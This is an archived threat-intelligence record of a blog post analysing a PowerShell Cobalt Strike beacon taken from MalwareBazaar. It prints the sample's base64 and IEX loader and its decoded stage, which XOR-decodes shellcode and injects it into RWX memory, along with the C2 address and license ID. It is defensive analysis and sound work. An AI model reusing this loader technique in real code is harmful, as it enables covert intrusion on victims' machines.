{
	"id": "a6233c38-438b-461d-b369-74664ef389fd",
	"created_at": "2026-04-06T00:21:33.226033Z",
	"updated_at": "2026-04-10T13:12:22.941338Z",
	"deleted_at": null,
	"sha1_hash": "fc063d9a14f0a1d1e6544fb2d629664a34838155",
	"title": "Inspecting a PowerShell Cobalt Strike Beacon",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 77547,
	"plain_text": "Inspecting a PowerShell Cobalt Strike Beacon\r\nPublished: 2022-01-09 · Archived: 2026-04-05 22:46:52 UTC\r\nIn this post I want to take a look at a PowerShell-based Cobalt Strike beacon that appeared on MalwareBazaar. This\r\nparticular beacon is representative of most PowerShell Cobalt Strike activity I see in the wild during my day job. The\r\nbeacons often show up as service persistence during incidents or during other post-exploitation activity. If you want to\r\nfollow along at home, the sample I’m using is here:\r\nhttps://bazaar.abuse.ch/sample/6881531ab756d62bdb0c3279040a5cbe92f9adfeccb201cca85b7d3cff7158d3/\r\nTriaging the File\r\nJust like with other files, let’s approach with caution and verify the file is actually PowerShell. We can use file and\r\nhead to do this.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nremnux@remnux:~/cases/cobaltstrike$ file payload.ps1\r\npayload.ps1: ASCII text, with very long lines\r\nremnux@remnux:~/cases/cobaltstrike$ head -c 100 payload.ps1\r\nSet-StrictMode -Version 2\r\n$DoIt = @'\r\nZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX2\r\nWe definitely have some PowerShell here. The cmdlet Set-StrictMode is a PowerShell feature used to enforce “scripting\r\nbest practices.” In addition, the @' signals the use of a “here-string”, a string that may use multiple quotation mark literals\r\nand multiple lines of text. Now that we have a grasp of the file type, let’s take a look at the contents.\r\nInspecting the File Contents\r\nI personally love VSCode for inspecting code files, I know others typically get along with Sublime Editor as well. In this\r\nsample, we can observe:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\nSet-StrictMode -Version 2\r\n$DoIt = @'\r\nZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZWR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV9t\r\n'@\r\n$aa1234 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))\r\nIf ([IntPtr]::size -eq 8) {\r\nstart-job { param($a) IEX $a } -RunAs32 -Argument $aa1234 | wait-job | Receive-Job\r\n}\r\nelse {\r\nIEX $aa1234\r\n}\r\nWe can see the contents of $DoIt contain a decently-sized chunk of base64 text, but it’s likely not big enough to be a\r\ncomplete Windows EXE. The contents of the base64 string are decoded, converted to UTF-8 and then executed using a\r\ncombination of Start-Job and Invoke-Expression commands.\r\nTo get our next step, let’s decode the base64 string manually using base64 -d . I’ve gone ahead and included the decoded\r\ncode here:\r\n1\r\n2\r\nfunction func_get_proc_address {\r\nParam ($var_module, $var_procedure)\r\nhttps://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/\r\nPage 1 of 4\n\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And\r\n$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleR\r\nreturn $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices\r\n}\r\nfunction func_get_delegate_type {\r\nParam (\r\n[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,\r\n[Parameter(Position = 1)] [Type] $var_return_type = [Void]\r\n)\r\n$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Ref\r\n$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Stand\r\n$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).S\r\nreturn $var_type_builder.CreateType()\r\n}\r\n[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEz\r\nfor ($x = 0; $x -lt $var_code.Count; $x++) {\r\n$var_code[$x] = $var_code[$x] -bxor 35\r\n}\r\n$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll Virtua\r\n$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)\r\n[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)\r\n$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @(\r\nThere’s a LOT to unpack here and wrap our brains around. To keep this post short and sweet, there are two portions to focus\r\nupon:\r\nThe contents of $var_code\r\nThe chunk of code containing $var_code[$x] = $var_code[$x] -bxor 35\r\nSuffice to say, the rest of the code is overhead required to inject shellcode reflectively into the memory space of the\r\nPowerShell process executing the script. If you’re curious about those portions, take a look into these keywords:\r\nGetProcAddress\r\nInMemoryModule\r\nReflectedDelegate\r\nDecoding the Shellcode\r\nThe $var_code variable contains Cobalt Strike beacon shellcode that was XOR’d with the value 35 before being base64\r\nencoded. We can decode all this PowerShell on any platform. I’m using the command pwsh to do this on REMnux.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nPS /home/remnux/cases/cobaltstrike\u003e [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELL\r\nPS /home/remnux/cases/cobaltstrike\u003e for ($x = 0; $x -lt $var_code.Count; $x++) {\r\n\u003e\u003e $var_code[$x] = $var_code[$x] -bxor 35\r\nPS /home/remnux/cases/cobaltstrike\u003e Set-Content -Path ./shellcode.bin -Value $var_code -AsByteStream\r\nNow we can take a look at the shellcode.bin file to get indicators. Also, the XOR with 35 is an indicator that the beacon\r\nis Cobalt Strike and not Metasploit or similar.\r\nGetting Indicators from the Shellcode\r\nLet’s verify we have some functioning shellcode. We can do this with capa .\r\nhttps://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/\r\nPage 2 of 4\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\nremnux@remnux:~/cases/cobaltstrike$ capa -f sc32 shellcode.bin\r\n+------------------------+------------------------------------------------------------------+\r\n| md5 | 63603bb6854a022e997a06fe7220a220 |\r\n| sha1 | ce72e661393227a1816e43159139860660118ccb |\r\n| sha256 | 0a0dddca72464f3baa600be64e9f7da9c0cbe1126e8e713d0c9dba6ed231234a |\r\n| path | shellcode.bin |\r\n+------------------------+------------------------------------------------------------------+\r\n+------------------------+------------------------------------------------------------------+\r\n| ATT\u0026CK Tactic | ATT\u0026CK Technique |\r\n|------------------------+------------------------------------------------------------------|\r\n| DEFENSE EVASION | Virtualization/Sandbox Evasion::System Checks T1497.001 |\r\n| EXECUTION | Shared Modules:: T1129 |\r\n+------------------------+------------------------------------------------------------------+\r\n+-----------------------------+-------------------------------------------------------------+\r\n| MBC Objective | MBC Behavior |\r\n|-----------------------------+-------------------------------------------------------------|\r\n| ANTI-BEHAVIORAL ANALYSIS | Virtual Machine Detection::Instruction Testing [B0009.029] |\r\n+-----------------------------+-------------------------------------------------------------+\r\n+------------------------------------------------------+------------------------------------+\r\n| CAPABILITY | NAMESPACE |\r\n|------------------------------------------------------+------------------------------------|\r\n| execute anti-VM instructions | anti-analysis/anti-vm/vm-detection |\r\n| access PEB ldr_data | linking/runtime-linking |\r\n| parse PE exports | load-code/pe |\r\n+------------------------------------------------------+------------------------------------+\r\nWe definitely have some shellcode functionality here. The important part for me is the part about access PEB ldr data .\r\nThis capability refers to the ability of the shellcode to resolve imports so it can use functions from DLLs. Shellcode doesn’t\r\nhave an import table like standard Windows EXEs do, so it has to go the long way around to find all its needed functions.\r\nSince we’re pretty sure this is a Cobalt Strike we can get further indicators using a couple tools. The first and simplest is\r\nstrings .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\nremnux@remnux:~/cases/cobaltstrike$ strings shellcode.bin\r\n;}$u\r\nD$$[[aYZQ\r\n]hnet\r\nhwiniThLw\u0026\r\nWWWWWh:Vy\r\nSPhW\r\nRRRSRPh\r\nSVh\r\nhE!^1\r\nQVPh\r\n/rpc\r\nHost: outlook.live.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)\r\npH\u003c{\r\n1o?/\r\n%zKt\r\n47.242.164[.]33\r\nWe can see some elements in the strings that could appear in HTTP traffic. These details are:\r\n47.242.164[.]33/rpc is likely the command and control address\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) is a HTTP User-Agent\r\nstring\r\nHost: outlook.live.com and Accept: */* are HTTP header values\r\nhttps://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/\r\nPage 3 of 4\n\nAnother good way to glean indicators is using 1768.py , a tool specifically designed to pull Cobalt Strike configuration\r\ndetails from beacons.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\nremnux@remnux:~/cases/cobaltstrike$ 1768.py --raw shellcode.bin\r\nFile: shellcode.bin\r\nProbably found shellcode:\r\nParameter: 778 b'47.242.164.33'\r\nlicense-id: 792 1359593325\r\npush : 190 8083 b'h\\x93\\x1f\\x00\\x00'\r\npush : 716 4096 b'h\\x00\\x10\\x00\\x00'\r\npush : 747 8192 b'h\\x00 \\x00\\x00'\r\nString: 440 b'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)'\r\n00000000: FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B ......`..1.d.R0.\r\n00000010: 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 R..R..r(..J\u00261.1.\r\n00000020: AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F0 52 57 .\u003ca|., .......RW\r\n00000030: 8B 52 10 8B 42 3C 01 D0 8B 40 78 85 C0 74 4A 01 .R..B\u003c...@x..tJ.\r\n...\r\nWe have a little confirmation on indicators here, and we also got an additional one: a license ID. Cobalt Strike beacons are\r\nsupposed to contain watermarks/license IDs that allow analysts to track a beacon back to one particular licensee. In this\r\ncase, we see the value 1359593325 . This value has been seen with loads of different activity in recent years from different\r\ngroups.\r\nAnd that’s it for this post! If you’ve never seen a Cobalt Strike beacon before, this is probably the simplest version I’ve seen\r\nin a long time. Thank you for reading!\r\nSource: https://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/\r\nhttps://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/\r\nPage 4 of 4",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/"
	],
	"report_names": [
		"inspecting-powershell-cobalt-strike-beacon"
	],
	"threat_actors": [
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434893,
	"ts_updated_at": 1775826742,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/fc063d9a14f0a1d1e6544fb2d629664a34838155.pdf",
		"text": "https://archive.orkl.eu/fc063d9a14f0a1d1e6544fb2d629664a34838155.txt",
		"img": "https://archive.orkl.eu/fc063d9a14f0a1d1e6544fb2d629664a34838155.jpg"
	}
}